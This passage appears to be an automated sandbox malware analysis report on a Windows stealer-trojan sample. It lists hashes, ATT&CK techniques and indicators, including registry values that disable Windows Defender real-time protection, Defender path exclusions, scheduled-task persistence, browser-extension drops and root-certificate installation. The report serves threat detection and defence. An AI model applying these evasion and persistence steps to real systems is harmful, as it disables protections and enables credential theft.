8a2aa3c279ec21bfe7142d6ab8ce7b0e92d204da9342a6560f7c60f60b802599

Analysis

max time kernel
150s
max time network
151s
platform
windows7_x64
resource
win7-20220901-en
resource tags

arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
submitted
28/09/2022, 06:58

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

file.exe
Size

7.3MB
MD5

884d00f5dd73059b4d0977eedb5fe469
SHA1

0ebb04cc77556014e9b629eced8e2053d0020671
SHA256

8a2aa3c279ec21bfe7142d6ab8ce7b0e92d204da9342a6560f7c60f60b802599
SHA512

5b794e77cf2abd428f1ae1bb0f8e247d4daf4c3fc6cd68d1e9d633d67dc401519719c0763c527bb89a586e2af036c471f8097d870af99bab4d81a11875f0af75
SSDEEP

196608:91O0MgWawLC1tqlXAt55y1YsY3Nzb0caONfv1h6w:3OmT482uNp8k

Score

10^/10

discovery evasion spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Windows security bypass 2 TTPs 36 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\LCMDmHxGrLJHC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\nVCmSimpmwUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\fwhiGQHhSfnZUzkc = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\jIUrjTqJU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\fwhiGQHhSfnZUzkc = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\VnSvEXTIbraTatzTOsR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\jIUrjTqJU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\LCMDmHxGrLJHC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\twylNxKJekDU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\VnSvEXTIbraTatzTOsR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\LhLAIbjVjtdXSeCjh = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\twylNxKJekDU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\nVCmSimpmwUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\CEEEIGvNcEpIBnVB = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\CEEEIGvNcEpIBnVB = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\fwhiGQHhSfnZUzkc = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\fwhiGQHhSfnZUzkc = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\LhLAIbjVjtdXSeCjh = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Executes dropped EXE 4 IoCs

pid	Process
1744	Install.exe
1176	Install.exe
720	fDamkvw.exe
612	FqDMnCs.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Loads dropped DLL 8 IoCs

pid	Process
1064	file.exe
1744	Install.exe
1744	Install.exe
1744	Install.exe
1744	Install.exe
1176	Install.exe
1176	Install.exe
1176	Install.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops Chrome extension 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json	FqDMnCs.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\meejmcfbiapijdfaadackoblffmidlig\1.0.0.0\manifest.json	FqDMnCs.exe

Drops file in System32 directory 22 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	FqDMnCs.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	FqDMnCs.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	FqDMnCs.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	FqDMnCs.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_57084D1D86D9F07AD164FDFDC2CB1CB3	FqDMnCs.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	fDamkvw.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	FqDMnCs.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_58589533BD741CABD9C6A1C2A7AAD4A1	FqDMnCs.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	fDamkvw.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2DDCD2B5F37625B82E81F4976CEE400_D29849B2B3CC9118078AA61A670027D9	FqDMnCs.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_58589533BD741CABD9C6A1C2A7AAD4A1	FqDMnCs.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	FqDMnCs.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F2DDCD2B5F37625B82E81F4976CEE400_D29849B2B3CC9118078AA61A670027D9	FqDMnCs.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_57084D1D86D9F07AD164FDFDC2CB1CB3	FqDMnCs.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	fDamkvw.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	FqDMnCs.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	FqDMnCs.exe

Drops file in Program Files directory 13 IoCs

description	ioc	Process
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	FqDMnCs.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	FqDMnCs.exe
File created	C:\Program Files (x86)\twylNxKJekDU2\cgPSkTWaCKDGJ.dll	FqDMnCs.exe
File created	C:\Program Files (x86)\LCMDmHxGrLJHC\AkPgTZc.xml	FqDMnCs.exe
File created	C:\Program Files (x86)\nVCmSimpmwUn\lSSqHCq.dll	FqDMnCs.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	FqDMnCs.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	FqDMnCs.exe
File created	C:\Program Files (x86)\jIUrjTqJU\eBtInov.xml	FqDMnCs.exe
File created	C:\Program Files (x86)\twylNxKJekDU2\TvKdSMJ.xml	FqDMnCs.exe
File created	C:\Program Files (x86)\VnSvEXTIbraTatzTOsR\KkllGxS.dll	FqDMnCs.exe
File created	C:\Program Files (x86)\VnSvEXTIbraTatzTOsR\HmSrdDX.xml	FqDMnCs.exe
File created	C:\Program Files (x86)\LCMDmHxGrLJHC\tsqYFPa.dll	FqDMnCs.exe
File created	C:\Program Files (x86)\jIUrjTqJU\gSTaKG.dll	FqDMnCs.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\IyXvSOFErlMUKai.job	schtasks.exe
File created	C:\Windows\Tasks\bGZpGlqvDNKjraWjlZ.job	schtasks.exe
File created	C:\Windows\Tasks\HqggdVJZxuzvaULcA.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 12 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1492	schtasks.exe
784	schtasks.exe
716	schtasks.exe
1440	schtasks.exe
2016	schtasks.exe
1552	schtasks.exe
2020	schtasks.exe
612	schtasks.exe
1640	schtasks.exe
300	schtasks.exe
1988	schtasks.exe
1904	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wscript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	FqDMnCs.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	wscript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{C1ED4F0F-FC3F-453B-BED4-A556520609DB}\WpadDecisionTime = 804ed41508d3d801	FqDMnCs.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{C1ED4F0F-FC3F-453B-BED4-A556520609DB}\WpadNetworkName = "Network 2"	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	FqDMnCs.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	FqDMnCs.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	FqDMnCs.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f0015000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{C1ED4F0F-FC3F-453B-BED4-A556520609DB}	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{C1ED4F0F-FC3F-453B-BED4-A556520609DB}\9a-cf-1c-b7-13-a2	FqDMnCs.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\9a-cf-1c-b7-13-a2\WpadDecisionTime = 804ed41508d3d801	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\9a-cf-1c-b7-13-a2	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	FqDMnCs.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	FqDMnCs.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	FqDMnCs.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{C1ED4F0F-FC3F-453B-BED4-A556520609DB}\WpadDecision = "0"	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\9a-cf-1c-b7-13-a2\WpadDecisionReason = "1"	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	FqDMnCs.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	FqDMnCs.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	FqDMnCs.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	FqDMnCs.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	FqDMnCs.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
1464	powershell.EXE
1464	powershell.EXE
1464	powershell.EXE
1888	powershell.EXE
1888	powershell.EXE
1888	powershell.EXE
800	powershell.EXE
800	powershell.EXE
800	powershell.EXE
1548	powershell.EXE
1548	powershell.EXE
1548	powershell.EXE
612	FqDMnCs.exe
612	FqDMnCs.exe
612	FqDMnCs.exe
612	FqDMnCs.exe
612	FqDMnCs.exe
612	FqDMnCs.exe
612	FqDMnCs.exe
612	FqDMnCs.exe
612	FqDMnCs.exe
612	FqDMnCs.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1464	powershell.EXE
Token: SeDebugPrivilege	1888	powershell.EXE
Token: SeDebugPrivilege	800	powershell.EXE
Token: SeDebugPrivilege	1548	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1064 wrote to memory of 1744	1064	file.exe	27
PID 1064 wrote to memory of 1744	1064	file.exe	27
PID 1064 wrote to memory of 1744	1064	file.exe	27
PID 1064 wrote to memory of 1744	1064	file.exe	27
PID 1064 wrote to memory of 1744	1064	file.exe	27
PID 1064 wrote to memory of 1744	1064	file.exe	27
PID 1064 wrote to memory of 1744	1064	file.exe	27
PID 1744 wrote to memory of 1176	1744	Install.exe	28
PID 1744 wrote to memory of 1176	1744	Install.exe	28
PID 1744 wrote to memory of 1176	1744	Install.exe	28
PID 1744 wrote to memory of 1176	1744	Install.exe	28
PID 1744 wrote to memory of 1176	1744	Install.exe	28
PID 1744 wrote to memory of 1176	1744	Install.exe	28
PID 1744 wrote to memory of 1176	1744	Install.exe	28
PID 1176 wrote to memory of 816	1176	Install.exe	30
PID 1176 wrote to memory of 816	1176	Install.exe	30
